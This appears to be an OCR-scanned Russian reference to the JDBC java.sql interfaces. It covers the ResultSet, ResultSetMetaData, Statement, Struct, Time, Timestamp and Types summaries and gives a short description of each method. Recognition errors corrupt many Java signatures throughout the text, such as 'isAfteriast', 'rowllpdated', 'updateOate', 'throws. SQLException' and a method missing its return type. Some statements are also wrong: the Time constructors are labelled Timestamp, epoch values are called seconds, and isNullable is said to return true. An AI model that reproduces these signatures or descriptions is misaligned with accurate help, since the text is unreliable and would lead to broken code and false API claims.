BigDecimal getBigDecimal(String cname)throws SQLException;

#BigDecimal getBigDecimal(String cname, int scale)throws SQLException;

InputStream getBinaryStream(int index)throws SQLException;

InputStream getBinaryStream(String cname)throws SQLException;

Blob getBlob(int index) throws SQLException;

Blob getBlob(String cname) throws SQLException;

boolean getBoolean(int index) throws SQLException;

boolean getBoolean(String cname) throws SQLException;

byte getByte(int index) throws SQLException;

byte getByte(String cname) throws SQLException;

byte[] getBytes(int index) throws SQLException;

byte[] getBytes(String cname) throws SQLException;

Reader getCharacterStream(int index)throws SQLException;

Reader getCharacterStream(String cname)throws SQLException;

Clob getClob(int index) throws SQLException;

Clob getClob(String cname) throws SQLException;

int getConcurrency() throws SQLException;

String getCursorName() throws. SQLException;

Date getDate(int index) throws SQLException;

Date getDate(int index, Calendar cal)throws SQLException;

Date getDate(String cname) throws SQLException;

Date getDate(String cname, Calendar cal)throws SQLException;

double getDouble(int index) throws SQLException;

double getDouble(String cname) throws SQLException;

int getFetchDirection() throws SQLException;

int getFetchSize() throws SQLException;

float getFloat(int index) throws SQLException;

float getFloat(String cname) throws SQLException;

int getInt(int index) throws SQLException;

int getInt(String cname) throws SQLException;

long getLong(int index) throws SQLException;

long getLong(String cname) throws SQLException;

ResultSetMetaData getMetaData() throws SQLException;

Object getObject(int index) throws SQLException;

Object getObject(int index, Map map)throws SQLException;

Object getObject(String cname) throws SQLException;

Object getObject(String cname, Map map)throws SQLException;

Ref getRef(int index) throws SQLException;

Ref getRef(String cname) throws SQLException;

int getRow() throws SQLException;

short getShort(int index) throws SQLException;

short getShort(String cname) throws SQLException;

Statement getStatement() throws SQLException;

String getString(int index) throws SQLException;

String getString(String cname) throws SQLException;

Time getTime(int index) throws SQLException;

Time getTime(int index, Calendar cal)throws SQLException;

Time getTime(String cname) throws SQLException;

Time getTime(String cname, Calendar cal)throws SQLException;

Timestamp getTimestamp(int index) throws SQLException;

Timestamp getTimestamp(int index, Calendar cal)throws SQLException;

Timestamp getTimestamp(String cname) throws SQLException;

Timestamp getTimestamp(String cname, Calendar cal)throws SQLException;

int getType() throws SQLException;

#InputStream getUnicodeStream(int index)throws SQLException;

#InputStream getUnicodeStream(String cname)throws SQLException;

SQLWarning getWarnings() throws SQLException;

void insertRow() throws SQLException;

boolean isAfteriast() throws SQLException;

boolean isBeforeFirst() throws SQLException;

boolean isFirst() throws SQLException;

boolean isLast() throws SQLException;

boolean last() throws SQLException;

void moveToCurrentRow() throws SQLException;

void moveToInsertRow() throws SQLException;

boolean next() throws SQLException;

boolean previous() throws SQLException;

void refreshRow() throws SQLException;

boolean relative(int rows) throws SQLException;

boolean rowDeleted() throws SQLException;

boolean rowlnserted() throws SQLException;

boolean rowllpdated() throws SQLException;

void setFetchDirection(int dir) throws SQLException;

void setFetchSize(int rows) throws SQLException;

void updateAsciiStream(int index, InputStream is,int length) throws SQLException;

void updateAsciiStream(String cname, InputStream is,int length) throws SQLException;

void updateBigDecimal(int index, BigDecimal d)throws SQLException;

void updateBigDecimal(String cname, BigDecimal d)throws SQLException;

void updateBinaryStream(int index, InputStream is)throws SQLException;

void updateBinaryStream(String cname, InputStrean is)throws SQLException;

void updateBoolean(int index, boolean b)throws SQLException;

void updateBoolean(String cname, boolean b)throws SQLException;

void updateByte(int index, byte b)throws SQLException;

void updateByte(String cname, byte b)throws SQLException;

void updateBytes(int index, byte[] bts)throws SQLException;

void updateBytes(String cname, byte[] bts)throws SQLException;

void updateCharacterStream(int index, Reader rdr,int length) throws SQLException;

void updateCharacterStream(String cname, Reader rdr,int length) throws SQLException;

void updateDate(int index, Date d)throws SQLException;

void updateOate(String cname, Date d)throws SQLException;

void updateDouble(int index, double d)throws SQLException;

void updateDouble(String cname, double d)throws SQLException;

void updateFloat(int index, float f)throws SQLException;

void updateFloat(String cname, float f)throws SQLException;

void updateInt(int index, int x) throws SQLException;

void updateInt(String cname, int x)throws SQLException;

void updateLong(int index, long x)throws SQLException;

void updateLong(String cname, long x)throws SQLException;

void updateNull(int index) throws SQLException;

void updateNull(String cname) throws SQLException;

void updateObject(int index, Object ob)throws SQLException;

void updateObject(int index, Object ob, int scale);

void updateObject(String cname, Object ob)throws SQLException;

void updateObject(String cname, Object ob, int scale)throws SQLException;

void updateRow() throws SQLException;

void updateShort(int index, short s)throws SQLException;

void updateShort(String cname, short s)throws SQLException;

void updateString(int index, String str)throws SQLException;

void updateString(String cname, String str)throws SQLException;

void updateTime(int index, Time t)throws SQLException;

void updateTime(String cname, Time t)throws SQLException;

void updateTimestamp(int index, Timestamp ts)throws SQLException;

void updateTimestamp(String cname, Timestamp ts)throws SQLException;

boolean wasNull() throws SQLException; }

Атрибуты класса

CONCUR_READ_ONLY

static public final int CONCUR_READ_ONLY

Описание. Режим доступа, означающий, что результирующий набор нельзя обновлять.

CONCUR_UPDATABLE

static public final int CONCUR_UPDATABLE

Описание. Режим доступа, означающий, что результирующий набор можно обновлять.

FETCH_FORWARD

static public final int FETCH_FORWARD

Описание. Определяет выборку данных в прямом направлении, от первой записи к последней.

FETCH_REVERSE

static public final int FETCH_REVERSE

Описание. Определяет выборку данных в обратном направлении, от последней записи к первой.

FETCH_UNKNOWN

static public -final int FETCH_UNKNOWN

Описание. Эта величина показывает, что направление обработки данных результирующего набора неизвестно.

TYPE_FORWARD_ONLY

Static public final int TYPE_FORWARD_ONLY

Описание. Результирующий набор этого типа допускает перемещение только в прямом направлении.

TYPE_SCROLL_INSENSITIVE

Static public final int TYPE_SCROLL_INSENSITIVE

Описание. Результирующий набор этого типа допускает перемещение в любом направлении, но изменения, сделанные другими пользователями, невидимы.

TYPE_SCROLL__SENSITIVE

static public final int TYPE_SCROLL_SENSITIVE

Описание. Результирующий набор этого типа допускает перемещение в любом направлении, при этом показываются изменения, сделанные другими пользователями.

Методы объекта

absolute ()

public boolean absolute(int row) throws SQLException

Описание. Метод перемещает курсор на заданное число строк от начала, если число положительно, и от конца - если отрицательно.

afterLast( )

public void afterLast() throws SQLException

Описание. Этот метод перемещает курсор в конец результирующего набора за последнюю строку.

beforeFirst( )

public void beforeFirst() throws SQLException

Описание. Этот метод перемещает курсор в начало результирующего набора перед первой строкой.

cancelRowUpdates()

public void cancelRowUpdates() throws SQLException

Описание. Отменяет обновления, сделанные в данной строке.

clearWarnings ( )

public void clearWarnings() throws SQLException

Описание. Удаляет все предупреждения из цепочки SQLWarning. Последующие обращения к getWarnings() возвращают null, пока не возникнет новое предупреждение.

close ()

public void close() throws SQLException

Описание. Осуществляет немедленное закрытие ResultSet вручную. Обычно этого не требуется, так как закрытие Statement, связанного с ResultSet, автоматически закрывает ResultSet.

deleteRow( )

public void deleteRow() throws SQLException

Описание. Удаляет текущую строку из результирующего набора и базы данных.

findColumn( )

public int findColumn(String cname) throws SQLException

Описание. Метод возвращает номер колонки с заданным именем.

first()

public boolean first() throws SQLException

Описание. Перемещает курсор на первую строку результирующего набора.

getAsciiStream(), getBinaryStream(), getCharacterStream() и getUnicodeStream()

public InputStream getAsciiStream(int index)

throws SQLException public InputStream getAsciiStream(String cnane)

throws SQLException public InputStream getBinaryStream(int index)

throws SQLException public InputStream getBinaryStream(String cname)

throws SQLException public Reader getCharacterStream(int index)

throws SQLException public ReadeT getCharacterStream(String cname)

throws SQLException #public InputStream getUnicodeStream(int index)

throws SQLException #public InputStream getUnicodeStream(String cname)

throws SQLException

Описание. В некоторых случаях удобнее извлекать из базы большие порции данных с помощью входного потока Java InputStream. Эти методы позволяют приложению извлекать данные установленной колонки текущей строки указанным способом. Заметьте, что устаревшему методу getUnicodeStream() следует предпочесть метод

getCharacterStream().

getArray(), getBlob(), getBoolean(), getByte(), getBytes(), getClob(), getDate(), getDouble(), getFloat(), getlnt(), getLong(), getRef(), getShort(),getString(),getTime()ugetTimestamp()

public Array getArray(int index) throws SQLException

public Array getArray(String cname) throws SQLException

public Blob getBlob(int index) throws SQLException

public Blob getBlob(String cname) throws SQLException

public boolean getBoolean(int index) throws SQLException

public boolean getBoolean(String cname) throws SQLException

public byte getByte(int index) throws SQLException

public byte getByte(String cname) throws SQLException

public byte[] getBytes(int index) throws SQLException

public byte[] getBytes(String cname) throws SQLException

public Clob getClob(int index) throws SQLException

public Clob getClob(String cname) throws SQLException

public Date getOate(int index) throws SQLException

public Date getDate(String cname) throws SQLException

public double getDouble(int index) throws SQLException

public double getDouble(String cname) throws SQLException

public float getFloat(int index) throws SQLException

public float getFloat(String cname) throws SQLException

public int getlnt(int index) throws SQLException

public int get!nt(String cname) throws SQLException

public long getLong(int index) throws SQLException

public long getLong(String cname) throws SQLException

public Ref getRef(int index) throws SQLException

public Ref getRef(String cname) throws SQLException

public short getShort(int index) throws SQLException

public short getShort(String cname) throws SQLException

public String getString(int index) throws SQLException

public String getString(String cname) throws SQLException

public Time getTime(int index) throws SQLException

public Time getTime(String cname) throws SQLException

public Timestamp getTimestamp(int index)

throws SQLException public Timestamp getTimestamp(String cname)

throws SQLException

Описание. Эти методы возвращают значение заданной колонки текущей строки с типом данных, соответствующим имени метода.

getConcurrency( ) и setConcurrencyf )

public int getConcurrency() throws SQLException

Описание. Эти методы служат для получения и установления режима доступа к данным результирующего набора. Начальное значение определяется командой, породившей результирующий набор.

getCursorName( )

public String getCursorName() throws SQLException

Описание. Некоторые базы данных допускают позиционируемые обновления, для их выполнения приложению требуется имя курсора, связанного с ResultSet. Данный метод предоставляет имя курсора.

getMetaData( )

public ResultSetMetaData getMetaData() throws SQLException

Описание. Предоставляет объект метаданных для данного ResultSet.

getFetchDirection(), setFetchDirection( ), getFetchSize() и setFetchSize()

public int getFetchDirection() throws SQLException

public void setFetchDirection(int dir) throws SQLException

public int getFetchSize() throws SQLException

public void setFetchSize(int rows) throws SQLException

Описание. Эти методы предоставляют драйверу данные, способные помочь оптимизации. Использовать их драйвер не обязан. Драйверу предлагается при каждом извлечении данных из базы выбирать указанное количество строк (fetch size). Направление (direction) подсказывает драйверу, в каком направлении вы собираетесь перемещаться.

getObject()

public Object getObject(int index) throws SQLException

public Object getObject(int index, Map map)throws SQLException

public Object getObject(String cname) throws SQLException

public Object getObject(String cname, Map map)throws SQLException

Описание. Возвращает значение заданной колонки текущей строки как объект Java. Возвращаемый тип будет Java-объектом, наиболее соответствующим SQL-типу колонки. Полезно использовать для колонок со специфическими типами конкретной базы данных.

getRow( )

public int getRow() throws SQLException

Описание. Возвращает номер текущей строки.

getStatement()

public Statement getStatement() throws SQLException

Описание. Возвращает экземпляр Statement, который произвел данный результирующий набор.

getType()

public int getType() throws SQLException

Описание. Возвращает тип данного результирующего набора.

getWarnings()

public SQLWarning getWarnings() throws SQLException

Описание. Возвращает первый объект SQLWarning в цепочке предупреждений.

insertRow( )

public void insertRow() throws SQLException

Описание. Вставляет содержимое строки в результирующий набор и базу данных.

isAfterLast( )

public boolean isAfterLast() throws SQLException

Описание. Возвращает true, если результирующий набор позиционирован за его последней строкой.

isBeforeFirst( )

public boolean isBeforeFirst() throws SQLException

Описание. Возвращает true, если результирующий набор позиционирован перед первой строкой.

isFirst()

public boolean isFirst() throws SQLException

Описание. Возвращает true, если результирующий набор позиционирован на первой строке.

isLast( )

public boolean isLast() throws SQLException

Описание. Возвращает true, если результирующий набор позиционирован на последней строке.

last ()

public boolean last() throws SQLException

Описание. Перемещает курсор на последнюю строку результирующего набора.

moveToCurrent Row( )

public void moveToCurrentRow() throws SQLException

Описание. Перемещает курсор на текущую строку. Выполняется после вставки строки.

moveTo!nsertRow( )

public void moveToInsertRow() throws SQLException

Описание. Перемещает курсор на вновь вставляемую строку. Для возврата к текущей строке нужно вызвать moveToCurrentRow().

next() uprevious( )

public boolean next() throws SQLException

public boolean previous() throws SQLException

Описание. Эти методы позволяют переместиться в результирующем наборе на одну строку вперед или назад. Во вновь созданном результирующем наборе курсор устанавливается перед первой строкой, поэтому первое обращение к методу next() влечет позиционирование на первую строку. Эти методы возвращают true, если остается строка для дальнейшего перемещения. Если строк для обработки больше нет, возвращается false. Если открыт поток InputStream для предыдущей строки, он закрывается. Также очищается цепочка предупреждений SQLWarning.

refreshRow( )

public void refreshRow() throws SQLException

Описание. Обновляет данные текущей строки самыми новыми данными из базы.

relative( )

public boolean relative(int rows) throws SQLException

Описание. Перемещает курсор вперед или назад на заданное число строк. Положительное число указывает на перемещение вперед, а отрицательное — на перемещение назад.

rowDeleted(), rowlnserted() и rowUpdated()

public boolean rowDeleted() throws SQLException

public boolean rowlnserted() throws SQLException

public boolean rowUpdated() throws SQLException

Описание. Возвращают true, если текущая строка удалена, вставлена или обновлена.

updateAsciiStreamf ), updateBigDecimal( ), updateBinaryStream( ), updateBoolean(), updateByte(), updateBytes(), updateCharacterStreamf ), updateDate(), updateDouble(), updateFloat(), updatelntf ), updateLong(), updateNull( ), updateObject(), updateShort( ), updateString(), updateTime( ) и updateTimestampf )

public void updateAsciiStream(int index, InputStream is,int length) throws SQLException

public void updateAsciiStream(String cname, InputStream is,int length) throws SQLException

public void updateBigDecimal(int index, BigDecimal d)

throws SQLException public void updateBigDecimal(String cname, BigDecimal d)

throws SQLException public void updateBinaryStream(int index, InputStream is)

throws SQLException public void updateBinaryStream(String cname, InputStream is)

throws SQLException public void updateBoolean(int index, boolean b)

throws SQLException public void updateBoolean(String cname, boolean b)

throws SQLException public void updateByte(int index, byte b)

throws SQLException public void updateByte(String cname, byte b)

throws SQLException public void updateBytes(int index, byte[] bts)

throws SQLException public void updateBytes(String cname, byte[] bts)

throws SQLException public void updateCharacterStream(int index, Reader rdr,int length) throws SQLException

public void updateCharacterStream(String cname, Reader rdr,

int length) throws SQLException public void updateDate(int index, Date d)

throws SQLException public void updateDate(String cname, Date d)

throws SQLException public void updateDouble(int index, double d)

throws SQLException public void updateDouble(String cname, double d)

throws SQLException public void updateFloat(int index, float f)

throws SQLException public void updateFloat(String cname, float f)

throws SQLException public void updateInt(int index, int x)

throws SQLException public void updatoInt(String cname, int x)

throws SQLException public void updateLong(int index, long x)

throws SQLException public void updateLong(String cname, long x)

throws SQLException

public void updateNull(int index)

throws SQLException public void updateNull(String cname)

throws SQLException public void updateObject(int index, Object ob)

throws SQLException public void updateObject(int index, Object ob, int scale)

throws SQLException public void updateObject(String cname, Object ob)

throws SQLException public void updateObject(String cname, Object ob, int scale)

throws SQLException public void updateShort(int index, short s)

throws SQLException public void updateShort(String cname, short s)

throws SQLException public void updateString(int index, String str)

throws SQLException public void updateString(String cname, String str)

throws SQLException public void updateTime(int index, Time t)

throws SQLException public void updateTime(String cname, Time t)

throws SQLException public void updateTimestamp(int index, Timestamp ts)

throws SQLException public void updateTimestamp(String cname, Timestamp ts)

throws SQLException

Описание. Эти методы обновляют значения в колонках текущей строки, если результирующий набор допускает обновления. Закончив обновление строки, вы можете вызвать insertRow() или update Row(), чтобы сохранить изменения в базе данных.

updateRow( )

public void updateRow() throws SQLException

Описание. Обновляет базу данных изменениями, сделанными в текущей строке.

wasNull( )

public boolean wasNull() throws SQLException

Описание. Возвращает true, если значение последней прочитанной колонки было null; в противном случае возвращает false.

ResultSetMetaData Краткий обзор

Имя класса: Java. sql. ResultSetMetaData

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: JDK 1.1

Описание

Этот класс предоставляет метаданные о типах и свойствах колонок в экземпляре ResultSet.

Сводка методов класса

public interface ResultSetMetaData {

static public final int columnNoNulls;

static public final int columnNullable;

static public final int columnNullableUnknown;

String getCatalogName(int index)throws SQLException;

String getColumnClassName(int index)throws SQLException;

public int getColumnCount() throws SQLException;

public int getColumnDisplaySize(int index)throws SQLException;

public String getColumnLabel(int index) throws SQLException;

public String getColumnName(int index)throws SQLException;

public int getColumnType(int index) throws SQLException;

public String getColumnTypeName(int index)throws SQLException;

public int getPrecision(int index) throws SQLException;

public int getScale(int index) throws SQLException;

public String getSchemaName(int index)throws SQLException;

public String getTableName(int index)throws SQLException;

public boolean isAutoIncrement(int index)throws SQLException;

public isCaseSensitive(int index)throws SQLException;

public boolean isCurrency(int index)throws SQLException;

public boolean isDefinitelyWritable(int index)throws SQLException;

public int isNullable(int index) throws SQLException;

public boolean isReadOnly(int index)throws SQLException;

public boolean isSearchable(int index)throws SQLException;

public boolean isSigned(int index) throws SQLException;

public boolean isWritable(int index)throws SQLException; }

Атрибуты класса

columnNoNulls

static public final int columnNoNulls

Описание. В рассматриваемой колонке недопустимы значения NULL.

columnNullable

static public final int columnNullable

Описание. В рассматриваемой колонке допустимы значения NULL.

columnNullableUnknown

static public final int columnNullableUnknown

Описание. Неизвестно, допустимы ли значения NULL в рассматриваемой колонке.

Методы объекта

getCatalogName( )

public String getCatalogName(int index) throws SQLException

Описание. Возвращает имя каталога, связанного с таблицей, в которой находится заданная колонка.

getColumnClassName( )

public String getColumnClassName(int index) throws SQLException

Описание. Возвращает полностью квалифицированное имя класса Java, который будет создан при вызове ResultSet. getObject() для заданной колонки.

getColumnCount( )

public int getColumnCount() throws SQLException

Описание. Возвращает количество колонок в результирующем наборе.

getColumnDisplaySize( )

public int getColumnDisplaySize(int column) throws SQLException

Описание. Возвращает максимальную ширину вывода данных колонки.

getColumnLabel( )

public String getColumnLabel(int column) throws SQLException

Описание. Возвращает заголовок, с которым выводится колонка.

get ColumnName( )

public String getcname(int column) throws SQLException

Описание. Возвращает имя, под которым колонка хранится в базе данных.

getColumnType( )

public int getColumnType(int -column) throws SQLException

Описание. Возвращает SQL-тип заданной колонки как значение из java.sql.Types.

getColumnTypeName( )

public String. getColumnTypeName(int column) throws SQLException

Описание. Возвращает имя SQL-типа заданной колонки. getPrecision( )

public int getPrecision(int column) throws SQLException

Описание. Возвращает число десятичных знаков для заданной колонки.

get Scale ()

public int getScale(int column) throws SQLException

Описание. Возвращает число десятичных знаков правее десятичной точки для заданной колонки.

getSchemaName( )

public String getSchemaName(int column) throws SQLException

Описание. Возвращает имя схемы таблицы с заданной колонкой.

getTableName( )

public String getTableName(int column) throws SQLException

Описание. Возвращает имя таблицы с заданной колонкой.

isAuto!ncrement( )

public boolean isAuto!ncrement(int column) throws SQLException

Описание. Возвращает true, если числовое значение колонки устанавливается автоматически и поэтому доступно только для чтения.

isCaseSensitive( )

public boolean isCaseSensitive(int column) throws SQLException

Описание. Возвращает true, если верхний или нижний регистр данных в колонке имеет значение.

isCurrency()

public boolean isCurrency(int column) throws SQLException

Описание. Возвращает true, если в заданной колонке представлены денежные значения.

isDefinitelyWritable( )

public boolean isDefinitelyWritable(int column) throws SQLException

Описание. Возвращает true, если запись в данную колонку наверняка будет успешной.

IsNullable()

public int isNullable(int column) throws SQLException

Описание. Возвращает true, если в данной колонке допустимы значения null.

isReadOnly()

public boolean isReadOnly(int column) throws SQLException

Описание. Возвращает true, если колонка имеет тип только для чтения.

isSearchable( )

public boolean isSearchable(int column) throws SQLException

Описание. Возвращает t rue, если колонка может быть использована в предложении WHERE.

isSigned( )

public boolean isSigned(int column) throws SQLException

Описание. Возвращает true, если колонка содержит число со знаком.

isWritable( )

public boolean isWritable(int column) throws SQLException

Описание. Возвращает true, если запись в колонку может оказаться успешной.

Statement

Краткий обзор

Имя класса: java. sql. Statement

Надкласс: нет

Непосредственные подклассы: java. sql. PreparedStatement

Реализованные интерфейсы: нет Доступность: JDK 1.1

Описание

Класс представляет встроенную команду SQL и используется приложением для доступа к базе данных. При закрытии Statement автоматически закрываются все связанные с ним открытые объекты ResultSet.

Сводка методов класса

public interface Statement { void addBatch(String sql) throws SQLException; void cancel() throws SQLException; void clearBatch() throws SQLException; void clearWarnings() throws SQLException; void close() throws SQLException; boolean execute(String sql) throws SQLException; int[] executeBatch() throws SQLException; ResultSet executeQuery(String sql)

throws SQLException;

int executeUpdate(String sql) throws SQLException;

Connection getConnection() throws SQLException;

int getFetchDirection() throws SQLException;

int getFetchSize() throws SQLException;

int getMaxFieldSize() throws SQLException;

int getMaxRows() throws SQLException;

boolean getMoreResults() throws SQLException;

int getQueryTimeout() throws SQLException;

ResultSet getResultSet() throws SQLException;

int getResultSetConcurrency() throws SQLException;

int getResultSetType() throws SQLException;

int getUpdateCount() throws SQLException;

SQLWarning getWarnings() throws SQLException;

void setCursorName(String name) throws SQLException;

void setEscapeProcessing(boolean enable)throws SQLException;

void setFetchDirection(int dir) throws SQLException;

void setFetchSize(int rows) throws SQLException;

void setMaxFieldSize(int max) throws SQLException;

void setMaxRows(int max) throws SQLException;

void setQueryTimeout(int seconds)throws SQLException; }

Методы объекта

addBatch()

public void addBatch(String sql) throws SQLException

Описание. Добавляет заданную команду SQL к текущему пакету команд.

сапсеl( )

public void cancel() throws SQLException

Описание. В многопоточной среде с помощью этого метода можно потребовать прекращения всякой обработки, связанной с данным Statement. В этом смысле метод аналогичен методу stop() для объектов Thread.

clearBatch()

public void clearBatch() throws SQLException

Описание. Удаляет все команды пакета.

clearWarnings() и getWarnings( )

public void clearWarnings() throws SQLException

public SQLWarning getWarnings() throws SQLException

Описание. Метод clearWarnings() позволяет удалить все предупреждения из цепочки, связанной с данным классом. getWarnings() возвращает первое предупреждение в цепочке. Все последующие предупреждения в цепочке можно получить, извлекая первое.

close ()

public void close() throws SQLException

Описание. Вручную закрывает объект Statement. Обычно этого не требуется, так как Statement автоматически закрывается при закрытии связанного с ним объекта Connection.

execute(), executeQuery() и executeUpdate( )

public boolean execute(String sql) throws SQLException

public ResultSet executeQuery(String sql) throws SQLException

public int executeUpdate(String sql) throws SQLException

Описание. Выполняет Statement, передавая базе данных заданную SQL-строку. Первый метод, execute(), позволяет вам выполнить Statement, когда неизвестно заранее, является SQL-строка запросом или обновлением. Метод возвращает true, если команда создала результирующий набор.

Метод executeQuery() используется для выполнения запросов (на извлечение данных). Он возвращает для обработки результирующий набор.

Метод executeUpdate() используется для выполнения обновлений. Он возвращает количество обновленных строк.

executeBatch( )

public int[ ] executeBatch(String sql) throws SQLException

Описание. Посылает базе данных пакет SQL-команд для выполнения. Возвращает массив чисел, описывающих количество строк, затронутых каждой командой SQL.

getConnection( )

public Connection getConnection() throws SQLException

Описание. Возвращает объект Connection, связанный с данным Statement.

getFetchDirection(), setFetchDirection( ), getFetchSize( ) и setFetchSizef)

public int getFetchDirection() throws SQLException

public void setFetchDirection(int dir) throws SQLException

public int getFetchSize() throws SQLException

public void setFetchSize(int rows) throws SQLException

Описание. Эти методы предоставляют драйверу данные, помогающие оптимизации. Использовать их драйвер не обязан. Драйверу предлагается при каждом извлечении данных из базы выбирать указанное количество строк (fetch size). Направление (direction) подсказывает драйверу, в каком направлении вы собираетесь перемещаться.

getMaxFieldSize() и setMaxFieldize( )

public int getMaxFieldSize() throws SQLException

public void setMaxFieldSize(int max) throws SQLException

Описание. Эти методы поддерживают работу с атрибутом максимального размера поля, определяющим максимальный размер данных для значений в колонках типов BINARY, VARBINARY, LONGVARBINARY, CHAR, VARCHAR и LONGVARCHAR. При превышении пределов излишки отбрасываются без сообщений.

getMaxRows( ) и setMaxRows()

public int getMaxRows() throws SQLException

public void setMaxRows(int max) throws SQLException

Описание. Эти методы поддерживают работу с атрибутом максимально допустимого числа строк в объекте ResultSet. При превышении этого числа лишние строки отбрасываются без сообщений.

getMoreResults( )

public boolean getMoreResults() throws SQLException

Описание. Этот метод перемещает к следующему результату и возвращает true, если этот результат является объектом ResultSet.

Все прежние ResultSet для данного Statement неявным образом закрываются. Если следующий результат не является ResultSet или результатов больше нет, метод возвращает false. Явную проверку отсутствия результатов дает выражение:

(!getMoreResults() && (getUpdateCount() == -1) getQueryTimeoutf ) и setQueryTimeoutf )

public int getQuerylimeout() throws SQLException

public void setQueryTimeout(int seconds) throws SQLException

Описание. Эти методы возвращают и устанавливают длительность времени, в течение которого драйвер ожидает выполнения команды Statement. При превышении предела возбуждается SQLException.

getResultSet( )

public ResultSet getResultSet() throws SQLException

Описание. Метод возвращает текущий ResultSet. Для каждого результата его следует вызывать только однажды. Его не нужно вызывать после обращения к executeQuery(), возвращающему единственный результат.

getResultSetConcurrency( )

public int getResultSetConcurrency() throws SQLException

Описание. Возвращает метод доступа к результирующим наборам, созданным данным Statement.

getResultSetType( )

public int getResultSetType() throws SQLException

Описание. Возвращает тип результирующего набора для всех результирующих наборов, созданных данным Statement.

getUpdateCount( )

public int getUpdateCount() throws SQLException

Описание. Если текущий результат является обновлением, возвращает число строк, затронутых обновлением. Если результат является ResultSet или результатов больше нет, возвращается -1. Как и getResultSet(), этот метод для каждого результата вызывается только один раз.

getWarnings( )

public SQLWarning getWarnings() throws SQLException

Описание. Возвращает первое предупреждение, связанное с данным объектом.

setCursorName( )

public void setCursorName(String name) throws SQLException

Описание. Этот метод задает имя курсора, которое должно использоваться при выполнении последующих Statement. Для баз данных, поддерживающих позиционируемые обновления и удаления, имя этого курсора можно использовать в сочетании с любыми объектами ResultSet, возвращаемыми методами execute() или executeQuery() для задания текущей строки позиционируемому обновлению или удалению. Для выполнения этих обновлений и удалений нужно использовать другой объект Statement. Этот метод ничего не выполняет в базах данных, где нет поддержки позиционируемых обновлений и удалений.

setEscapeProcessing( )

public void setEscapeProcessing(boolean enable) throws SQLException

Описание. По умолчанию обработка управляющих символов включена. При этом драйвер производит замену, прежде чем послать строку SQL базе данных.

Struct

Краткий обзор

Имя класса: Java. sql. Struct

Надкласс: нет

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: введен в JDK 1.2

Описание

Этот класс производит отображение в структурированный тип SQL3. Экземпляр Struct содержит значения, которые отображаются в каждый атрибут в связанном структурном значении базы данных.

Сводка методов класса

public interface Struct {

Object[] getAttributes() throws SQLException;

Object[] getAttributes(Map map) throws SQLException;

String getSQLTypeNane() throws SQLException; }

Методы объекта

getAttributes()

public Object[] getAttributes() throws SQLException

public Object[] getAttnbutes(Map map) throws SQLException

Описание. Возвращает значения атрибутов в структурированном типе SQL по порядку. Если задано соответствие типов (тар), то оно будет использоваться для создания значений Java-типов.

get SQL TypeName()

public String getSQLTypeName() throws SQLException

Описание. Возвращает имя типа SQL для данного структурированного типа.

Time

Краткий обзор

Имя класса: Java. sql.Time Надкласс: Java. util. Date Непосредственные подклассы: нет Реализованные интерфейсы: нет Доступность: JDK 1.1

Описание

Эта версия класса java.util.Date производит отображение на тип данных SQL TIME.

Сводка методов класса

public class Time extends Java.util.Date {

static public Time valueOf(String s);

public Time(int hour, int minute, int second);

public Time(long time);

#public int getDate();

#public int getDay();

#public int getMonth();

#public int getYear();

#public int setDate(int i);

#public int setMonth(int i);

public void setTime(long time);

#public void setYear(int i);

public String toString(); }

Конструкторы объекта

Time()

public Timestamp(int hour, int minute, intsecond) public Timestamp(long time)

Описание. Создает новый объект Time. Первый прототип создает Time с заданием часов, минут и секунд. Второй прототип использует количество секунд, прошедшее с 12:00:00 GMT 1 января 1970.

Методы объекта

getDate(), setDate(), getDay(), getMonth(), setMonth(), getYear() и setYear( )

#public int getDate()

#public int getDay()

#public int getMonth()

#public int getYear()

#public int setDate(int i)

#public int setMonth(int i)

#public void setYear(int i)

Описание. Эти атрибуты представляют отдельные части объекта Time.

setTime()

public void setTime(long time)

Описание. Этот метод устанавливает для объекта Time количество секунд, прошедшее с 12:00:00 GMT 1 января 1970.

toString()

public String toString()

Описание. Форматирует Time как строку в формате hh: mm: ss.

valueOf()

static public Timestamp valueOf(String s)

Описание. Создает новый объект Time на основе строки в формате hh:mm:ss.

Timestamp Краткий обзор

Имя класса: Java. sql.Timestamp

Надкласс: Java. util.Date

Непосредственные подклассы: нет

Реализованные интерфейсы: нет

Доступность: JDK 1.1

Описание

Этот класс служит SQL-представлением класса Java Date, специально созданного, чтобы служить как метка времени SQL TIMESTAMP. Он позволяет хранить наносекунды, как это требуется в значениях SQL TIMESTAMP. Следует помнить, что этот класс использует версию hashcode() из java.'util. Date. Это означает, что для двух временных меток, различающихся только в наносекундах, hashcode() будет возвращать одинаковые значения.

Сводка методов класса

public class Timestamp extends Java.util.Date {

static public Timestamp valueOf(String s);

public Timestamp(int year, int month, int date, int hour, int minute, int second, int nano);

public Timestamp(long time);

public boolean after(Timestamp t);

public boolean before(Timestamp t);

public boolean equals(Timestamp t);

public int getNanos();

public void setNanos(int n);

public String toString(); }

Конструкторы объекта

Timestamp()

#public Timestamp(int year, int month, int date, int hour, int minute,

int second, int nano) public Timestamp(long time)

Описание. Создает новый объект Timestamp. Первый прототип создает Timestamp по заданным году, месяцу, дню, часу, минуте, секундам и наносекундам. Второй прототип использует количество секунд, прошедшее с 12:00:00 GMT 1 января 1970.

Методы объекта

after ()

public boolean after(Timestamp t)

Описание. Возвращает true, если Timestamp более поздний, чем аргумент.

before ()

public boolean before(Timestamp t)

Описание. Возвращает true, если Timestamp более ранний, чем аргумент.

equals ( )

public boolean equals(Timestamp t)

Описание. Возвращает true, если оба объекта равнозначны.

getNanos() и setNanos( )

public int getNanos() public void setNanos(int n)

Описание. Атрибут представляет число наносекунд для данного объекта Timestamp.

toString()

public String toString()

Описание. Преобразует Timestamp в строку в формате yyyy-mm-dd hh:mm:ss.fffffffff.

valueOf()

static public Timestamp valueOf(String s)

Описание. Создает новый объект Timestamp по строке в формате yyyy-mm-dd hh:mm:ss.fffffffff.

Types

Краткий обзор

Имя класса: java. sql. Types Надкласс: java. lang. Object Непосредственные подклассы: нет Реализованные интерфейсы: нет Доступность: JDK 1.1

Описание

Этот класс содержит статические атрибуты, представляющие типы данных SQL. Эти значения являются действительными значениями констант, определенными в спецификации XOPEN.

Сводка методов класса

public class Types {

static public final int ARRAY;

static public final int BIGINT;

static public final int BINARY;

static public final int BIT;

static public final int BLOB;

static public final int CHAR;

static public final int CLOB;

static public final int DATE;

static public final int DECIMAL;

static public final int DISTINCT;

static public final int DOUBLE;

static public final int FLOAT;

static public final int INTEGER;

static public final int JAVA_OBJECT;

static public final int LONGVARBINARY;

static public final int LONGVARCHAR;

